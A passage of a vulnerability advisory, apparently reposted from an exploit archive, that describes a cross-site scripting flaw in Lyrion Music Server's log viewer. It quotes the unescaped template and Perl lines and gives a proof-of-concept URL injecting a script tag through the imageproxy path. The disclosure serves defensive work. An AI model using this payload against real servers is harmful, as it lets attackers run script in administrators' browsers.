Lyrion Music Server can stream your local\\n music collection, internet radio stations, and content from many streaming\\n services (with and without subscriptions).\\n \\n Desc: The log viewer reflects request parameters and raw log content into\\n HTML with no escaping. Template Toolkit has no global auto-escaping so any\\n [% var %] without an explicit | html filter is an injection point. The search,\\n lines and path query parameters are reflected directly, and log lines are\\n emitted as raw HTML. Any attacker-provided value that gets logged (a crafted\\n URL, User-Agent, stream title, player name) becomes stored XSS.\\n \\n ============================================================================\\n \/HTML\/EN\/log.html\\n ——————-\\n 85: \\u003cinput type=\\”text\\” name=\\”search\\” id=\\”search\\” value=\\”[% search %]\\” …\\u003e\\n 98: \\u003cspan\\u003e\\u003ca href=\\”\/[% path %]?zip=1\\”\\u003e[% \\”DOWNLOAD\\” | string %]\\u003c\/a\\u003e\\u003c\/span\\u003e\\n 100: \\u003cinput type=\\”hidden\\” name=\\”lines\\” id=\\”lines\\” value=\\”[% lines %]\\”\\u003e\\u003c\/input\\u003e\\n 103: \\u003cpre\\u003e[% logLines %]\\u003c\/pre\\u003e\\n \\n \\n \/Slim\/Web\/Pages\/Common.pm (logFile)\\n ————————————\\n 508: my $search = $params-\\u003e{search};\\n … $line = \\”\\u003cspan style=\\\\\\”color:red\\\\\\”\\u003e$line\\u003c\/span\\u003e\\” if …;\\n 549: return Slim::Web::HTTP::filltemplatefile(\\”log.html\\”, $params);\\n ============================================================================\\n \\n Tested on: Windows 10 (64-bit) – EN\\n Lyrion Music Server (9.2.0 – 1779973211)\\n Perl\/5.32.1\\n SQLite\\n \\n \\n Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n \\n \\n Advisory ID: ZSL-2026-5989\\n Advisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5989\\n CVE ID: CVE-2026-50231\\n CVE URL: https:\/\/www.cve.org\/CVERecord?id=CVE-2026-50231\\n \\n \\n 27.05.2026\\n \\n –\\n \\n \\n http:\/\/localhost:9000\/imageproxy\/file:\/\/\/\/Zero%20Science%20Lab%20is%3Cscript%3Econfirm(%22Awesome!%22)%3C\/script%3E\\n \\n Viewing log at http:\/\/localhost:9000\/server.log:\\n …\\n …\\n [26-05-29 14:32:44.5987] Slim::Web::ImageProxy::__ANON__ (376) Artwork resize for imageproxy\/file:\/\/\/\/Zero Science Lab is failed\\n …”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222804″,”cvss”:{“score”:7.2,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222804\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
